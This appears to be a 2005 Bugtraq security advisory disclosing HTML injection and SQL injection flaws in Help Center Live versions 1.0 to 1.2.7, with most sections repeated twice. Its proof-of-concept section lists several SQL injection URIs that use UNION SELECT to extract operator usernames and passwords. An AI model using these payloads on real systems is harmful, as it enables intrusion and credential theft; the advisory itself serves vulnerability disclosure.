Help Center Live Multiple Input Validation Vulnerabilities
BID:13666
Info
Help Center Live Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 13666 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 17 2005 12:00AM |
| Updated: | May 17 2005 12:00AM |
| Credit: | GulfTech Security Research <[email protected]> is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Help Center Live Help Center Live 1.2.7 Help Center Live Help Center Live 1.2.6 Help Center Live Help Center Live 1.2.5 Help Center Live Help Center Live 1.2.4 Help Center Live Help Center Live 1.2.3 Help Center Live Help Center Live 1.2.2 Help Center Live Help Center Live 1.2.1 Help Center Live Help Center Live 1.2 Help Center Live Help Center Live 1.0 |
| Not Vulnerable: | |
Discussion
Help Center Live Multiple Input Validation Vulnerabilities
Help Center Live is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Reportedly the application is affected by multiple HTML injection vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
The application is also affected by multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
These issues have reportedly been addressed in the latest release of Help Center Live, this information has not been confirmed by Symantec or the vendor.
Help Center Live is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Reportedly the application is affected by multiple HTML injection vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
The application is also affected by multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
These issues have reportedly been addressed in the latest release of Help Center Live, this information has not been confirmed by Symantec or the vendor.
Exploit / POC
Help Center Live Multiple Input Validation Vulnerabilities
No exploit is required.
The following proof of concept URI demonstrating the SQL injection issues are available:
http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1
http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT
password,password FROM hcl_operators WHERE id=1/*
http://www.example.com/support/lh/chat_download.php?fid=-99' UNION
SELECT password,operator,password FROM hcl_operators WHERE id=1/*
No exploit is required.
The following proof of concept URI demonstrating the SQL injection issues are available:
http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1
http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT
password,password FROM hcl_operators WHERE id=1/*
http://www.example.com/support/lh/chat_download.php?fid=-99' UNION
SELECT password,operator,password FROM hcl_operators WHERE id=1/*
Solution / Fix
Help Center Live Multiple Input Validation Vulnerabilities
Solution:
Reports indicate these issues have been addressed in the latest version of Help Center Live, this has not been confirmed by Symantec. Users should contact the vendor for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Reports indicate these issues have been addressed in the latest version of Help Center Live, this has not been confirmed by Symantec. Users should contact the vendor for further information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Help Center Live Multiple Input Validation Vulnerabilities
References:
References:
- Help Center Live Home Page (Help Center Live)
- Help Center Live Vulnerabilities (GulfTech Security Research